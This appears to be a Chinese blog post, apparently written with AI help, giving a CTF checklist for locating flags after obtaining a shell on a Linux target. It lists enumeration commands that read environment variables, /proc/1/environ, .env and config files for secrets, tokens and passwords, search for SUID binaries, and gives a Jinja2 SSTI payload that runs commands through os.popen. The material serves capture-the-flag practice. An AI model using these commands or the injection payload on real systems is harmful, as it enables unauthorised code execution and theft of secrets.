拿到shell要干的事情(ai)
Linux 靶机拿到 shell 后寻找 flag 流程
1. 先确认当前环境
拿到命令执行后,不要一上来就乱 find /,先确认当前用户、目录、权限。
idwhoamipwdls -la作用:
id / whoami 查看当前用户权限pwd 查看当前目录ls -la 查看当前目录下有没有隐藏文件如果当前目录下有源码,先读源码:
cat app.pycat *.pycat *.sh很多 Web 题的 flag 路径可能写在源码、配置文件、环境变量里。
2. 先查常见 flag 位置
CTF 靶机里 flag 最常见的位置:
ls -la /cat /flagcat /flag.txtcat /f*也可以看看根目录完整内容:
ls -la /如果看到奇怪文件名,比如:
/flag_is_here/readflag/this_is_flag直接读:
cat /文件名3. 查 Web 项目目录
常见 Web 项目目录有:
ls -la /appls -la /var/wwwls -la /var/www/htmlls -la /homels -la /tmp可以逐个试:
find /app -maxdepth 3 -type f 2>/dev/nullfind /var/www -maxdepth 3 -type f 2>/dev/nullfind /home -maxdepth 3 -type f 2>/dev/nullfind /tmp -maxdepth 3 -type f 2>/dev/null如果发现配置文件:
cat config.pycat .envcat settings.pycat docker-compose.yml重点看里面有没有:
FLAGflagSECRETTOKENpassword4. 用文件名搜索 flag
最基础:
find / -name "*flag*" 2>/dev/null更完整一点:
find / -iname "*flag*" 2>/dev/nullfind / -iname "*ctf*" 2>/dev/nullfind / -iname "*secret*" 2>/dev/nullfind / -iname "*key*" 2>/dev/null如果根目录太大,可以限制深度:
find / -maxdepth 3 -type f 2>/dev/null如果怀疑 flag 是随机文件名:
find / -maxdepth 2 -type f 2>/dev/null5. 查环境变量
很多 Docker 靶机直接把 flag 放在环境变量里。
envprintenv然后重点看有没有:
FLAG=flag=CTF=SECRET=有些时候 env 看不到,可以读进程环境变量:
cat /proc/self/environ | tr '\0' '\n'cat /proc/1/environ | tr '\0' '\n'这里很重要:
/proc/self/environ是当前命令进程的环境变量。
/proc/1/environ是 1 号进程的环境变量。Docker 容器里 1 号进程通常就是题目主服务进程,所以 flag 很可能藏在这里。
6. 查进程和文件描述符
先看进程:
ps auxps -ef如果看到主进程是:
python app.py可以继续看它的工作目录:
readlink /proc/1/cwdls -la /proc/1/cwd看它打开了哪些文件:
ls -la /proc/1/fd如果里面有可疑 fd,比如:
3 -> /flag4 -> /tmp/xxx可以读:
cat /proc/1/fd/3cat /proc/1/fd/4这就是你之前问的 /proc/1/fd/3 那类思路。
7. 搜索文件内容
如果文件名不带 flag,可以搜内容。
先小范围搜:
grep -R "flag" /app 2>/dev/nullgrep -R "ctf" /app 2>/dev/nullgrep -R "FLAG" /app 2>/dev/null再扩大到常见目录:
grep -R "flag" /home /tmp /var/www /app 2>/dev/null如果题目 flag 格式明确,比如 flag{}、NSSCTF{}、BUUCTF{}、ISCTF{},直接搜格式:
grep -R "flag{" / 2>/dev/nullgrep -R "NSSCTF{" / 2>/dev/nullgrep -R "BUUCTF{" / 2>/dev/nullgrep -R "ISCTF{" / 2>/dev/null8. 查隐藏文件
很多题会把 flag 放在隐藏文件里:
ls -la /ls -la /appls -la /homels -la /tmp重点关注:
.flag.flag.txt.env.secret读取:
cat /.flagcat /app/.flagcat /app/.env9. 查权限特殊文件
有些题需要通过可执行程序读 flag,比如 readflag。
find / -perm -4000 -type f 2>/dev/nullfind / -name "readflag" 2>/dev/null如果发现:
/readflag可以执行:
/readflag或者:
./readflag10. 推荐实际执行顺序
拿到 shell 后,我一般按这个顺序跑:
idpwdls -lacat app.pyls -la /cat /flagcat /flag.txtcat /f*envcat /proc/1/environ | tr '\0' '\n'ps auxreadlink /proc/1/cwdls -la /proc/1/fdfind / -maxdepth 3 -type f 2>/dev/nullfind / -iname "*flag*" 2>/dev/nullfind / -iname "*secret*" 2>/dev/nullgrep -R "flag{" /app /home /tmp /var/www 2>/dev/null11. Fenjing 里对应操作
你这个题里可用的命令执行链是:
{{(QAQ.__eq__.__globals__.sys.modules.os.popen('命令')).read()}}所以 Fenjing shell 里直接输入:
ls -la /envcat /proc/1/environ | tr '\0' '\n'ls -la /proc/1/fdcat /proc/1/fd/3如果是手动拼 payload,就把命令放进 popen() 里面即可。
总结一句话
拿到 Linux shell 后找 flag 的核心顺序是:
当前目录 → 根目录 → Web 项目目录 → 环境变量 → /proc/1 → 文件名搜索 → 内容搜索 → SUID/readflag这套流程基本能覆盖大多数 Web/SSTI/RCE 类 CTF 靶机。
- 版权声明:本文由 余林阳 创作,转载请注明出处。
喜欢这篇文章吗?
点击右侧按钮为文章点赞,让更多人看到!
在下余林阳